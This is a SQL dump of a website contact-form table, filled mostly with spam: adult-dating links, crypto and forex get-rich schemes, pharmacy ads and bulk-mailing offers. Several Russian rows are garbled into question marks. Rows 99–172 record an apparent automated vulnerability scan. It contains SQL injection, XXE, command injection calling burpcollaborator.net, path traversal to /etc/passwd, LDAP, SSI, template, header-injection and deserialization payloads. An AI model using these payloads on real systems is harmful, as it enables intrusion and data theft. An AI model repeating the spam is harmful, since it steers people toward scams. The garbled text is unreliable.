????? ????? ??????? ?????? ??????? ??????. ?? ?????? ?????? ? ??????? ????? ?????? ??????? ? ??????? ?? ????? ????. ?? ?????? ???? ???????, ??? ???? ??? ???????? ???????????? ??????. ?????? ? ??????? ????? ?? ???????? ???????? ?????? ????? ??????. ?? ?????? ???????????? ????? ?????. ????? ???? ????????, ??? ? ??????? ???????? ????? ?????? ? ????? ????? ?????. ?? ??? ??????? ?????? ?????? ? ??????-??????, ??????????? ?????????????? ????????? ? ???????????? ???????? ????????. ????? ???? ???????, ??? ????? ???????? ????????, ??? ?????? ??? ????? ? ?????????? ????? ???????. \r\n \r\n??????? ? ????? ??????? ????? ?????? ???? ? ??????????? ??????????. ???? ? ??? ?? ?????-?? ??????? ????????? ??????????? ??? ?????? ????, ??? ???? ?????????? ? ?????? ??????????? ?????????. ?????? ?????????? ?? ?????? ? ???? ????????. ????????? ?????? ? ???, ??? ?? ????? ????? ????? ???? ????????. ???? ? ??? ???????? ?????-?? ???????, ????? ??????????? ? ?????? ?????????.','2019-03-14 13:37:55'),(48,'Carriem','polis.fonaewrdfrgew32f@yandex.com','Carrie Underwood is my favourite US contry singer. She is young, beautiful and charming female in her 30s. Her voice takes me away from all issues of this planet and I start enjoy my life and listen songs created by her voice. Now she is on a Cry Pretty 360 Tour started in May of 2019. The concerts scheduled for the whole 2019, up to the 31st of October. Tickets are available for all men and women with different income. If you love contry music, then you must visit at least one of her concert. All tour dates are available at the <a>Carrie Underwood tour Louisville</a>. Open the website and make yourself familiar with all Carrie Underwood concerts in 2019!\r\n','2019-03-14 15:07:41'),(49,'Rosa','rosamann23@mail.com','Hello, I want to work in your company on a voluntary basis, can you offer me anything? \r\na little about me:https://about.me/rosa.mann/','2019-03-14 16:34:55'),(50,'MiguelSar','cmr611@msn.com','SEnuke TNG - Rank #1 With Todays Top Ranking Factors: http://rih.co/bestseotools33574','2019-03-14 18:59:03'),(51,'Brandie','brandiebucklin@freenet.de','It’s perfect time to make some plans for the future and \r\nit is time to be happy. I have read this post and if I \r\ncould I desire to suggest you few interesting things or suggestions.\r\nMaybe you could write next articles referring to this article.\r\nI wish to read even more things about it!  I could not refrain from commenting.\r\nPerfectly written!  I am sure this post has touched all the internet users, its really \r\nreally good article on building up new web site.\r\nhttp://foxnews.net/','2019-03-14 19:48:30'),(52,'Joy','joybeaumont@gmail.com','I’ve been browsing online more than three hours \r\ntoday, yet I never found any interesting article like yours.\r\n\r\nIt is pretty worth enough for me. In my view, if all website owners and bloggers made good content as you did, the internet will be much more useful than ever before.\r\nI\'ll right away grab your rss as I can not in finding your e-mail subscription link or e-newsletter service.\r\nDo you\'ve any? Kindly allow me understand so that I may just subscribe.\r\nThanks.  This is a topic that is near to my heart...\r\nThank you! Where are your contact details though?\r\n\r\nhttp://foxnews.org','2019-03-14 23:47:21'),(53,'','','','2019-03-15 15:57:07'),(54,'JavierDug','grandson_laraughn@yahoo.com','Treffen Sie sexy Madchen in Ihrer Stadt: http://go.fireontherim.com/bestsexygirlsadultdating68191','2019-03-15 16:22:50'),(55,'MiguelSar','bunnyman52@hotmail.com','Rencontrez des filles sexy dans votre ville: http://www.abcagency.se/bestsexygirlsadultdating52573','2019-03-15 18:03:44'),(56,'KevinGratt','geocinand@sbcglobal.net','Filles sexy pour la nuit dans votre ville: http://www.vkvi.net/bestsexygirlsadultdating65170','2019-03-16 09:16:14'),(57,'Migueldaype','bvdgolf@hotmail.com','Sexy Girls fur die Nacht in deiner Stadt: http://go.fireontherim.com/bestsexygirlsadultdating66929','2019-03-16 09:55:42'),(58,'KelAnycle','kelGymn@emaill.host','Provera In Internet  <a></a> Kamagra Oral Jelly 100mg Offers Generic Viagra No Pain Tooth Infection And Amoxicillin  ','2019-03-16 10:43:59'),(59,'RobertSox','lucinda13@hotmail.com','Beautiful girls for sex in your city: http://perkele.ovh/bestsexygirlsadultdating48323','2019-03-16 15:59:22'),(60,'Santosjum','elenaij@hotmail.com','The best girls for sex in your town: http://valeriemace.co.uk/bestsexygirlsadultdating47904','2019-03-16 18:38:46'),(61,'Williamzet','carrs_classic@msn.com','Conoce chicas sexy en tu ciudad: http://www.lookweb.it/bestsexygirlsadultdating33807','2019-03-16 21:44:00'),(62,'grfpublishers.com','grfpublishers.com@domstates.su','','2019-03-17 18:38:47'),(63,'MiguelSar','stanly10@hotmail.com','The Best Cryptocurrency to Invest in 2019: http://perkele.ovh/15000investbinarycrypto97334','2019-03-19 01:22:12'),(64,'Williamzet','ronald54@mchsi.com','Forex Trader predicts and makes $10,000 less than 3 hours: http://www.vkvi.net/15000investbinarycrypto32970','2019-03-19 04:48:02'),(65,'','','','2019-03-19 07:24:55'),(66,'JavierDug','angel_medina2@msn.com','$10000 per day Bitcoin Brokers | Top Bitcoin Brokers Reviews | Bitcoin Binary Options: http://webhop.se/15000investbinarycrypto27428','2019-03-19 08:45:29'),(67,'','','','2019-03-19 13:52:07'),(68,'KevinGratt','bedell47@yahoo.com','The Best Cryptocurrency to Invest in 2019: http://corta.co/15000investbinarycrypto53699','2019-03-19 16:16:40'),(69,'DanielQueew','dennisvartan@comcast.net','Forex 1000 To 1 Million ??“ Turning $10,000 into $1 Million in Forex: http://rih.co/15000investbinarycrypto23771','2019-03-19 22:35:22'),(70,'Migueldaype','emma5baby@hotmail.com','$10000 per day Trading Bitcoins on the Binary Options Market: http://perkele.ovh/15000investbinarycrypto84106','2019-03-20 01:11:47'),(71,'','','','2019-03-20 03:59:57'),(72,'grfpublishers.biz','grfpublishers.biz@domstates.su','','2019-03-20 06:58:33'),(73,'Santosjum','kraigar@hotmail.com','Where to invest $ 3000 once and receive every month from $ 55000: http://www.lookweb.it/$15000investbinarycrypto88002','2019-03-20 07:44:02'),(74,'','','','2019-03-20 13:30:19'),(75,'adinece','iweezhame@mailerraas.com','http://theprettyguineapig.com/amoxicillin/ - Amoxicillin 500mg Capsules For Sale <a href=\"http://theprettyguineapig.com/amoxicillin/\">Amoxicillin 500mg Capsules</a> http://theprettyguineapig.com/amoxicillin/','2019-03-21 02:19:07'),(76,'ahihawjaroep','gdupefi@goasfer.com','http://theprettyguineapig.com/amoxicillin/ - Buy Amoxicillin Online <a href=\"http://theprettyguineapig.com/amoxicillin/\">Amoxicillin No Prescription</a> http://theprettyguineapig.com/amoxicillin/','2019-03-21 08:32:05'),(77,'ocuxicore','uqadug@goasfer.com','http://theprettyguineapig.com/amoxicillin/ - Amoxicillin 500mg Capsules For Sale <a href=\"http://theprettyguineapig.com/amoxicillin/\">Amoxicillin 500mg</a> http://theprettyguineapig.com/amoxicillin/','2019-03-21 09:20:38'),(78,'MiguelSar','dondo19@hotmail.com','The best girls for sex in your town: http://www.abcagency.se/adultdating40802','2019-03-21 16:51:24'),(79,'JavierDug','super43@hotmail.com','Sexy girls for the night in your town: http://perkele.ovh/adultdating71823','2019-03-21 20:09:10'),(80,'Williamzet','sfantatreimelondra@yahoo.co.uk','Find yourself a girl for the night in your city: http://rih.co/adultdating98981','2019-03-22 07:57:07'),(81,'grfpublishers.org','grfpublishers.org@domstates.su','','2019-03-22 10:51:35'),(82,'KevinGratt','peaceuga@yahoo.com','Sexy girls for the night in your town: http://valeriemace.co.uk/adultdating64051','2019-03-22 12:27:46'),(83,'Migueldaype','mustangsally42@hotmail.com','The best women for sex in your town: http://www.lookweb.it/adultdating29914','2019-03-22 13:36:47'),(84,'RobertSox','mystica_eve@hotmail.com','The best women for sex in your town: http://to.ht/adultdating85821','2019-03-22 23:54:54'),(85,'Filaksjobby','filaks-msk@gmailu.ru','????????? Fila ????????? ?????? ?? ????? ????????? ??????? ????????? ? ???? ?????. ? ????? ???????? ? ? ???????? ???? ????? ???????? ??????? ? ??????? ?????. ?? ?????? ?? ?????????? ?? ?????? ???????? ?????????, ???? ?????? ?????? ??????????????? ?? ?????-?? ????? ??????????. \r\n \r\n???? ???? ??? ????? ????????? Fila ???????? ???? ????? ?????? ? ?????? ? ???????? ?? ????? ???????????? ?????, ?????? ?? ?????? ?????? ????? ????????? ??? ? ??????. ???? ????? ?? fila-msk.ru, ??? ???? ???????? ??????? ?????????. ?? ??????? ?? ?????? ????? ????????? ????????? Fila ??? ?????? ? ???????. \r\n \r\n???? ?????? ?? ?? ?????, ??? ?????????? ???????????? ?????????, ?????? ??? ???????? ??????? ? ?????????. ?? ??????? ???? ????? ?????????? ???????. ?? ?????? ??????? ????????? ??? ?????????? ??????????? ??? ??? ???????? ?? ?????? ?????? ?? ???????. ? ????????? ???? ???? ????? ?????? ?????????. ?? ??? ?????????? ??????? ?????????, ??????? ???????? ?????????? ???. \r\n \r\n?? ??????? <a>fila</a>  ???? ????? ??????? ?????????, ??????? ??????? ?????? ?? ?????? ?????. ?? ?????? ???????? ????????? ?????? ? ??????? ????????? ?????. ?? ?????? ???????????? ?????????????? ?????. ???? ? ??? ????? ??????? ???????? ? ??????? ???????????? ?????? Fila, ??? ????? ??????? ?? fila-msk.ru, ??? ???????? ??????? ????? ?????????. \r\n \r\n??????? ? ??????? ????????? ????? ??????. ?? ??????? ??????? ? ?????? ? ????? ????? ????. ? ??? ??? ??????? ????? ????? ?? ?????? ??????? ?????? ?????? ?????? ?? ????????? Fila. ?? ?????? ????? ?????? ???????? ? ?????????? ?? ???????. ????? ????????? ??????????????? ?????????????? ?????????? ??? ??????? ? ???????, ????????? ? ?????? ??????. ?? ????? ????? ??????? ??????? ????????? ? ??? ?????? ? ????? ??? ????? ??????. ?????????? ????? ??????????? ????????? ??? ???????? ? ?????? ????? ????? ??????????. ???? ?? ??????? ??????? ???????? ????????? Fila ??? ???????? ?? ??????, ????? ???????????? ?????? ?? ?????? ?? ???????. \r\n \r\n????????-??????? ???????? ?????? ????. ?? ?????? ?????????? ? ????????-??????? ? ????? ??????? ?????. ??????????? ?????????? ??????? ????? ??????????? ? ????????-???????? ????? ?? ???? ??? ?????????. ?? ????? ??????? ? ?????????? ??? ? ???????. ???? ?? ????????????? ?????? ????????? ?????? ????????? ??????, ????? ????? ??????? ????? ????? ?? ?????. \r\n \r\n???? ?? ?????? ???? ?????? ?????????, ?????? ????? Fila ???????? ?????????? ???! ?? ?????? ?????? ????????? ????? ?????? ?????????? ????????????? ?? ?????? ? ?????? ??? ?????-??????????. ?? ?????? ????? ?????? ?? ? ?????? ??????? ??. ??????? ????? ????? ????????-??????? - <a>????????? fila disruptor ??????</a>  ??????? ?????. ???? ??????? ??????, ??????? ??? ???????? ? ???????? ? ???????. ????? ????? ?? ??????? ?? ????????. ?? ????? ?????? ???????? ????????? ??????? ??? ?????????. ??????? ?????????? ??????????? ????????? FILA DISRUPTOR SNEAKERS IN BLACK, ??????? ?? ?????? ???????? ????? ??????. ?? ????? ?????? ??????? ????????? ?? ????????? ?????. ?? ??????? ???? ??????????? ??????? ????????? ??? ??????? ??? ? ????????? ?????, ??? ? ???????. \r\n \r\n?? fila-msk.ru ?? ?????? ???????? <a>????????? fila</a>  ??????? ????????? ?? ??????? ??????????. ??????????? ?????? ?????????? ???????? ? ?? ??????????? ?????????. ???? ? ??? ????? ?????? ???? ????????, ??? ???????? ????? Fila, ?? ????? ?????? ?????????? ????? ????????? ????????? ????? ??????. ?? ????? ?????? ?????????? ? customer service ?? ??????? ???????? ?? ???????? 8(495)532-35-45, ??? ??? ? ????????? ??????? ?? ????? ???? ???????. \r\n \r\n?????????????? ?? ?????? ? ????????? ???????? ??????, ? ????? ? ??? ????????? Fila ??????? ???????? ??????????. ?? ?????? ????? ????????? ????????? ???????????????? ??? ??????? ???????????? ???? ?????????. ????????? ? ???????? ??? ???????.','2019-03-23 07:09:57'),(86,'grfpublishers.com','grfpublishers.com@domstates.su','','2019-03-23 09:37:18'),(87,'ThomasKab','byntest2019@gmail.com','\"Traffic is expensive\" \r\n \r\n\"Traffic is hard\" \r\n \r\n\"I don’t know where to get traffic from” \r\n \r\nIf you are experiencing this problem, consider social media marketing through influencer traffic on Snapchat. It’s cheap, simple, and straight forward. All we do is post your ad on an influencer’s page that matches your business needs (niche/audience). This traffic is known to convert, and our company is very experienced in social media marketing. If you want more information, contact us now at contactboostyournetwork@gmail.com . We would love to work with you and your company and are excited to help and watch the growth of your business. \r\n \r\nThank you, \r\nAustin Chambliss \r\nCMO Boost Your Network \r\n \r\nTelegram: @austinchambliss \r\nKik: austinchambliss32 \r\nEmail: austinkchambliss@gmail.com \r\nMobile: (858) 531 4722','2019-03-23 09:52:56'),(88,'JoshuaKnica','rd9k5y23m@yandex.ru','training programs, <a href=\"https://bloghealth.ru/fizicheskaya-forma/\">Fitness blog</a>, healthy lifestyle, diet, proper nutrition','2019-03-23 17:47:11'),(89,'JoshuaKnica','rd9k5y23m@yandex.ru','training programs, <a href=\"https://bloghealth.ru/fizicheskaya-forma/\">Fitness blog</a>, healthy lifestyle, diet, proper nutrition','2019-03-24 01:09:10'),(90,'MiguelSar','elainevq@hotmail.com','Was ist der einfachste Weg, um ?‚¬ 3000 pro Monat zu verdienen?: http://webhop.se/bestinvestcrepto87237','2019-03-24 02:18:53'),(91,'Williamzet','brindabg@hotmail.com','Comment gagner de l\'argent suppl?©mentaire ?  la maison - seulement 3000 ?‚¬ par jour: https://aaa.moda/bestinvestcrepto98074','2019-03-24 03:20:51'),(92,'JavierDug','bhardb@hotmail.com','Cryptocurrency Investing 2019: http://www.abcagency.se/bestinvestcrepto68771','2019-03-24 05:27:33'),(93,'grfpublishers.biz','grfpublishers.biz@domstates.su','','2019-03-24 09:34:11'),(94,'Carmine','carmine.berrios@yahoo.com','roulette online\r\nblackjack rules\r\nplay casino online\r\ncasino slots\r\nplay casino slots','2019-03-24 11:21:38'),(95,'','','','2019-03-24 15:00:26'),(96,'Santosjum','gbrandsma@yahoo.com','How to Make $30000 FAST | Fast Money | The Busy Budgeter: http://corta.co/bestinvestcrepto79091','2019-03-24 15:34:16'),(97,'RobertSox','robmedley@hotmail.com','Make $200 per hour doing this: http://rih.co/bestinvestcrepto30080','2019-03-24 15:48:01'),(98,'','','','2019-03-24 16:33:44'),(99,'Peter Winter','winter@example.com','','2019-03-24 17:04:19'),(100,'','','','2019-03-24 17:04:24'),(101,'Peter Winter','winter@example.com','','2019-03-24 17:06:44'),(102,'Peter Winter','winter@example.com','','2019-03-24 17:06:45'),(103,'dixmp912ik','winter@example.com','','2019-03-24 17:06:47'),(104,'Peter Winterr6gc1kbqth','winter@example.com','','2019-03-24 17:06:49'),(105,'(select extractvalue(xmltype(\'&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;&lt;!DOCTYPE root [ &lt;!ENTITY % jwttu SYSTEM \"http://gzjxgj9e57mq2puk85cl4aobl2rwfz3rqhe6.burpcollab\'||\'orator.net/\">%jwttu;]>\'),\'/l\') from dual)','winter@example.com','','2019-03-24 17:06:51'),(106,'Peter Winter\'||(select extractvalue(xmltype(\'&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;&lt;!DOCTYPE root [ &lt;!ENTITY % jwttu SYSTEM \"http://onf54rxmtfayqxiswd0tsicj9af438r0eq2f.burpcollab\'||\'orator.net/\">%jwttu;]>\'),\'/l\') from dual)||\'','winter@example.com','','2019-03-24 17:06:55'),(107,'Peter Winter;declare @q varchar(99);set @q=\'\\\\\\\\lpe26ozjvccvsukpya2qufegb7h15svgn3dr2.burpcollab\'+\'orator.net\\ilk\'; exec master.dbo.xp_dirtree @q;-- ','winter@example.com','','2019-03-24 17:06:58'),(108,'Peter Winter\';declare @q varchar(99);set @q=\'\\\\\\\\6szn9924yxfgvfna1v5bx0h1eskm8dz1rohc6.burpcollab\'+\'orator.net\\gdy\'; exec master.dbo.xp_dirtree @q;-- ','winter@example.com','','2019-03-24 17:07:02'),(109,'biwl8${547*284}is61o','winter@example.com','','2019-03-24 17:09:20'),(110,'Peter Winter\'+sleep(20.to_i)+\'','winter@example.com','','2019-03-24 17:11:40'),(111,'Peter Winter\'+eval&#40;compile(\'for x in range(1&#41;:\\n import time\\n time.sleep(20)\',\'a\',\'single\'))+\'','winter@example.com','','2019-03-24 17:11:43'),(112,'615ni9b47xog4fwaaveb60q1nstmhe56swgl.burpcollaborator.net','winter@example.com','','2019-03-24 17:13:47'),(113,'http://fexwviodk61pho9jn4rkj93a016vulid53ts.burpcollaborator.net?Peter Winter','winter@example.com','','2019-03-24 17:13:50'),(114,'Peter Winter|nslookup -q=cname adrrudn8j10kgj8emzqfi425zw5qtmhe44st.burpcollaborator.net.&','winter@example.com','','2019-03-24 17:13:52'),(115,'Peter Winter\'\"`0&nslookup -q=cname dfwuwgpbl42nimaho2sik7481z7tvqji68ux.burpcollaborator.net.&`\'','winter@example.com','','2019-03-24 17:13:54'),(116,'Peter Winter&nslookup -q=cname 7emovao5ky1hhg9bnwrcj1320t6nuiia50tp.burpcollaborator.net.&\'\\\"`0&nslookup -q=cname 7emovao5ky1hhg9bnwrcj1320t6nuiia50tp.burpcollaborator.net.&`\'','winter@example.com','','2019-03-24 17:13:56'),(117,'Peter Winter|echo rzo4j5gej3 ugnn2cvnb7||a #\' |echo rzo4j5gej3 ugnn2cvnb7||a #|\" |echo rzo4j5gej3 ugnn2cvnb7||a #','winter@example.com','','2019-03-24 17:14:01'),(118,'Peter Winter&echo j5cbesi59g l08gos4tdn&','winter@example.com','','2019-03-24 17:14:01'),(119,'Peter Winter\"|echo 4qao8mgft7 98ex4htehv ||','winter@example.com','','2019-03-24 17:14:03'),(120,'Peter Winter\'|echo 78yy0xvbsc n0sx0hpnef #xzwx','winter@example.com','','2019-03-24 17:14:04'),(121,'..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini','winter@example.com','','2019-03-24 17:16:08'),(122,'c:\\windows\\win.ini','winter@example.com','','2019-03-24 17:16:08'),(123,'Peter Winter..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini','winter@example.com','','2019-03-24 17:16:09'),(124,'..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.iniPeter Winter','winter@example.com','','2019-03-24 17:16:11'),(125,'../../../../../../../../../../../../../../../../etc/passwd','winter@example.com','','2019-03-24 17:16:12'),(126,'/etc/passwd','winter@example.com','','2019-03-24 17:16:15'),(127,'Peter Winter../../../../../../../../../../../../../../../../etc/passwd','winter@example.com','','2019-03-24 17:16:19'),(128,'../../../../../../../../../../../../../../../../etc/passwdPeter Winter','winter@example.com','','2019-03-24 17:16:21'),(129,'.../Peter Winter','winter@example.com','','2019-03-24 17:16:23'),(130,'xqdcu36wc8)(objectClass=*','winter@example.com','','2019-03-24 17:16:25'),(131,'kwh9a7k9wz)(!(objectClass=*)','winter@example.com','','2019-03-24 17:16:27'),(132,'<knr xss=removed xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://a.b/ http://ybdfs1lwhpy8e762kno3gs0txk3eref62wql.burpcollaborator.net/knr.xsd\">knr</knr>','winter@example.com','','2019-03-24 17:18:32'),(133,'<zif xmlns:xi=\"http://www.w3.org/2001/XInclude\"><xi href=\"http://uwubdx6s2lj4z3ry5j9z1olpigoacb03ntbi.burpcollaborator.net/foo\"></zif>','winter@example.com','','2019-03-24 17:18:34'),(134,'Peter Winter]]>><','winter@example.com','','2019-03-24 17:18:36'),(135,'Peter Winter\'+(function(){if(typeof oi6we===\"undefined\"){var a=new Date();do{var b=new Date();}while(b-a&lt;20000);oi6we=1;}}())+\'','winter@example.com','','2019-03-24 17:18:37'),(136,'\"--&gt;\'--&gt;`--&gt;&lt;!--#set var=\"18z\" value=\"07yho3hydr\"--&gt;&lt;!--#set var=\"3a1\" value=\"290jq5j0ft\"--&gt;&lt;!--#echo var=\"18z\"--&gt;&lt;!--#echo var=\"3a1\"--&gt;&lt;!--#exec cmd=\"nslookup -q=cname nul4bq4l0ehxxwpr3c7szhjig9m3av8j06quf.burpcol','winter@example.com','','2019-03-24 17:18:38'),(137,'Peter Winter\r\nBCC:tebavworkk13h29xniryjn3o0f69u1npfc50u@burpcollaborator.net\r\ntob: x','winter@example.com','','2019-03-24 17:18:40'),(138,'Peter Winter>\r\nBCC:3lpk26v1ru8docg7usy8qxay7pdj1bvznmda2@burpcollaborator.net\r\nnkp: c','winter@example.com','','2019-03-24 17:18:41'),(139,'','','','2019-03-24 17:18:42'),(140,'O:3:\"PDO\":0:{}','winter@example.com','','2019-03-24 17:18:44'),(141,'TzozOiJQRE8iOjA6e30=','winter@example.com','','2019-03-24 17:18:45'),(142,'Peter Winter','winter@example.com','','2019-03-24 17:18:47'),(143,'Peter Winter','lhb950pqrj','','2019-03-24 17:20:54'),(144,'Peter Winter','winter@example.comwyjski8xyn','','2019-03-24 17:20:57'),(145,'Peter Winter','(select extractvalue(xmltype(\'&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;&lt;!DOCTYPE root [ &lt;!ENTITY % wipmx SYSTEM \"http://wddduznujn06g580mlq1iq2rzi5ctfh74zso.burpcollab\'||\'orator.net/\">%wipmx;]>\'),\'/l\') from dual)','','2019-03-24 17:20:59'),(146,'Peter Winter','winter@example.com\'||(select extractvalue(xmltype(\'&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;&lt;!DOCTYPE root [ &lt;!ENTITY % wipmx SYSTEM \"http://z66gn2gxcqt99813foj4btvuslyfmjabx3ls.burpcollab\'||\'orator.net/\">%wipmx;]>\'),\'/l\') from dual)||\'','','2019-03-24 17:21:02'),(147,'Peter Winter','winter@example.com;declare @q varchar(99);set @q=\'\\\\\\\\4sxl9722yvfevdn81t59xyhzeqkk8byzqmia7.burpcollab\'+\'orator.net\\pno\'; exec master.dbo.xp_dirtree @q;-- ','','2019-03-24 17:21:03'),(148,'Peter Winter','winter@example.com\';declare @q varchar(99);set @q=\'\\\\\\\\839pkbd69zqi6hyccxgd82s3puvojfa32quej.burpcollab\'+\'orator.net\\tap\'; exec master.dbo.xp_dirtree @q;-- ','','2019-03-24 17:21:05'),(149,'Peter Winter','winter@example.com);declare @q varchar(99);set @q=\'\\\\\\\\479lo7h2dvuead28gtk9cywztqzknbfz7mzao.burpcollab\'+\'orator.net\\dfa\'; exec master.dbo.xp_dirtree @q;-- ','','2019-03-24 17:21:08'),(150,'Peter Winter','y1ecs${928*144}ck3dr','','2019-03-24 17:23:14'),(151,'Peter Winter','uy5vb{{270*803}}c8yt1','','2019-03-24 17:23:17'),(152,'Peter Winter','winter@example.com}}fdomi\'/\"&lt;as9sg','','2019-03-24 17:23:22'),(153,'Peter Winter','winter@example.com%}j1a8d\'/\"&lt;ktc4s','','2019-03-24 17:23:25'),(154,'Peter Winter','winter@example.comxv20t%>dexc2\'/\"&lt;dbawd','','2019-03-24 17:23:29'),(155,'Peter Winter','winter@example.com\'+sleep(20.to_i)+\'','','2019-03-24 17:23:33'),(156,'Peter Winter','http://winter@m9w3qpjkfdwwcv4qibmregyhv812psdk0co1.burpcollaborator.net/?example.com','','2019-03-24 17:25:38'),(157,'Peter Winter','winter@example.com|nslookup -q=cname 4fklw7p2lv2eida8ots9ky4z1q7kvgj860up.burpcollaborator.net.&','','2019-03-24 17:25:40'),(158,'Peter Winter','winter@example.com\'\"`0&nslookup -q=cname usqb9x2sylf4v3ny1j5zxohpegka87wzjr7g.burpcollaborator.net.&`\'','','2019-03-24 17:25:43'),(159,'Peter Winter','winter@example.com&nslookup -q=cname 4gllx7q2mv3ejdb8ptt9ly5z2q8kwfk77zvo.burpcollaborator.net.&\'\\\"`0&nslookup -q=cname 4gllx7q2mv3ejdb8ptt9ly5z2q8kwfk77zvo.burpcollaborator.net.&`\'','','2019-03-24 17:25:52'),(160,'Peter Winter','winter@example.com|echo cnwqizklet xop6puq0p7||a #\' |echo cnwqizklet xop6puq0p7||a #|\" |echo cnwqizklet xop6puq0p7||a #','','2019-03-24 17:25:56'),(161,'Peter Winter','winter@example.com&echo d7plk0u9uz 4bbtqr8v4w&','','2019-03-24 17:25:57'),(162,'Peter Winter','winter@example.com\"|echo sw430o6fn4 9n3y92c1wq ||','','2019-03-24 17:25:59'),(163,'Peter Winter','winter@example.com\'|echo kkha2k14v5 n5rrzahyqp #xzwx','','2019-03-24 17:26:01'),(164,'Peter Winter','mxjuuujf01)(objectClass=*','','2019-03-24 17:28:20'),(165,'Peter Winter','b7mktrri05)(!(objectClass=*)','','2019-03-24 17:28:23'),(166,'Peter Winter','<gyi xss=removed xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://a.b/ http://3rvk8611xueducm70s48wxgydpjj7jvbi36s.burpcollaborator.net/gyi.xsd\">gyi</gyi>','','2019-03-24 17:30:28'),(167,'Peter Winter','<ayh xmlns:xi=\"http://www.w3.org/2001/XInclude\"><xi href=\"http://of75wrpmlf2yixasodstki4j1a74v5jx6pue.burpcollaborator.net/foo\"></ayh>','','2019-03-24 17:30:30'),(168,'Peter Winter','winter@example.com]]>><','','2019-03-24 17:30:33'),(169,'Peter Winter','winter@example.com\'+(function(){if(typeof nxbof===\"undefined\"){var a=new Date();do{var b=new Date();}while(b-a&lt;20000);nxbof=1;}}())+\'','','2019-03-24 17:30:37'),(170,'Peter Winter','\"--&gt;\'--&gt;`--&gt;&lt;!--#set var=\"8kf\" value=\"7jeo0at5py\"--&gt;&lt;!--#set var=\"amh\" value=\"9lgq2cv7r0\"--&gt;&lt;!--#echo var=\"8kf\"--&gt;&lt;!--#echo var=\"amh\"--&gt;&lt;!--#exec cmd=\"nslookup -q=cname u61bnxgsclt4931yfjjzbovpsgyam2kqcd41t.burpcol','','2019-03-24 17:30:38'),(171,'Peter Winter','winter@example.com\r\nBCC:va9cryktgmx5d45zjkn0fpzqwh2bq3jrbe32s@burpcollaborator.net\r\nfgb: r','','2019-03-24 17:30:41'),(172,'Peter Winter','winter@example.com>\r\nBCC:1giix4qzms3bjab5pqt6lv5w2n8hw9qxika8z@burpcollaborator.net\r\nwrh: g','','2019-03-24 17:30:43'),(173,'KevinGratt','tacubaya@hotmail.com','Was ist der einfachste Weg, um ?‚¬ 3000 pro Monat zu verdienen?: http://to.ht/bestinvestcrepto68268','2019-03-24 20:22:40'),(174,'DanielQueew','piquiv@gmail.com','Quel est le moyen le plus simple de gagner 3000 ?‚¬ par mois: https://lil.ink/bestinvestcrepto51166','2019-03-24 20:22:43'),(175,'','','','2019-03-25 05:51:01'),(176,'Migueldaype','harsal@hotmail.com','The Top 5 Best Cryptocurrencies 2019: http://www.vkvi.net/bestinvestcrepto96421','2019-03-25 05:54:50'),(177,'KennethZep','partogripa@gmail.com','We offer you the opportunity to advertise your products and services. \r\nGood day! Look at a fine offering for you. I want to offer the possibility of sending your commercial offers or messages through feedback forms. The advantage of this method is that the messages sent through the feedback forms are included in the white list. This method increases the chance that your message will be read. Mailing is made in the same way you received this message. \r\n \r\nSending via Feedback Forms to any domain zones of the world. (more than 1000 domain zones.). \r\n \r\nThe cost of sending 1 million messages is $ 49 instead of $ 99. \r\nAll us sites that have a feedback form. (10 million messages sent) - $349 instead of $649 \r\nDomain zone .com - (12 million messages sent) - $399 instead of $699 \r\nAll domain zones in Europe- (8 million messages sent) - $ 299 instead of $599 \r\nAll sites in the world (25 million messages sent) - $499 instead of $999 \r\n \r\nDiscounts are valid until March 31. \r\nFeedback and warranty! \r\nDelivery report! \r\n \r\nIn the process of sending messages, we do not violate the rules of GDRP. \r\nThis message is created automatically use our contacts for communication. \r\n \r\nContact us. \r\nTelegram - @FeedbackFormEU \r\nSkype – FeedbackForm2019 \r\nEmail - FeedbackForm2019@gmail.com \r\n \r\nIt\'s time to finish.','2019-03-25 13:20:58'),(178,'','','','2019-03-25 16:46:14'),(179,'grfpublishers.org','grfpublishers.org@domstates.su','','2019-03-26 01:49:49'),(180,'MiguelSar','dominiquepb@hotmail.com','Trouvez-vous une fille pour la nuit dans votre ville: http://valeriemace.co.uk/bestadultdating91763','2019-03-26 02:52:48'),(181,'Williamzet','salaam5@hotmail.com','Sexy Girls f??r die Nacht in deiner Stadt: http://www.lookweb.it/bestadultdating86932','2019-03-26 03:22:54'),(182,'JavierDug','izzed@msn.com','Chicas sexys para pasar la noche en tu pueblo.: http://www.vkvi.net/bestadultdating29988','2019-03-26 05:06:02'),(183,'grfpublishers.com','grfpublishers.com@domstates.su','','2019-03-26 18:46:07'),(184,'jnqdfd','arlwwqgrw@onlinecanada.biz','viagra canada  \r\n<a>buy female viagra</a> ','2019-03-26 20:39:15'),(185,'DanielQueew','sprite0809@yahoo.com','Sexy Girls f??r die Nacht in deiner Stadt: http://www.vkvi.net/bestadultdating36955','2019-03-26 22:52:30'),(186,'grfpublishers.org','grfpublishers.org@domstates.su','','2019-03-27 00:02:36'),(187,'Zasronskag','zaarons1@gmailu.ru',' \r\n?????????????? ??????????? ???? ???????????????? ????????? ???? ? ??????? ???????? ? 3 ?? 7 ?????? ?????? ? ??????? ? ??????? 35 ??????? ????. ?? ????, ??? ???????? ????, ???????? ???? ??????? ???????. \r\n \r\n?????? ??????? ?? ?????????? ?????? ????????? ??????, ????????? ? ?????????. ? ??? ?????? ??????? ????? 200 ???????. \r\n \r\n?? ????? ???????? ????? ?????????????? ?????? ????????????? ??????, ??????? ?????, ???????????, ? ????? ???????? ???????, ??? ??????? ??????? ??????? ????. \r\n \r\n? ???? ????? ??????? ??? ????? ??????????? ? ?????????? ? 8:00 ?? 22:00 (????? ????????? ? ??????????). \r\n \r\n?? ??????? ???? ? ??????? ? 2016 ???? ???? ??????? ??????? ?????????? ? 2017 ???? ????????????????? ????????? ? ??????, ?????, ??????? ? ??????. ?????????? ???????? ?????????? ??????, ????????? - ????????, ????????? - ??????????????, ???????? - ???. \r\n \r\n? ??????????????? ? ????????? ???? 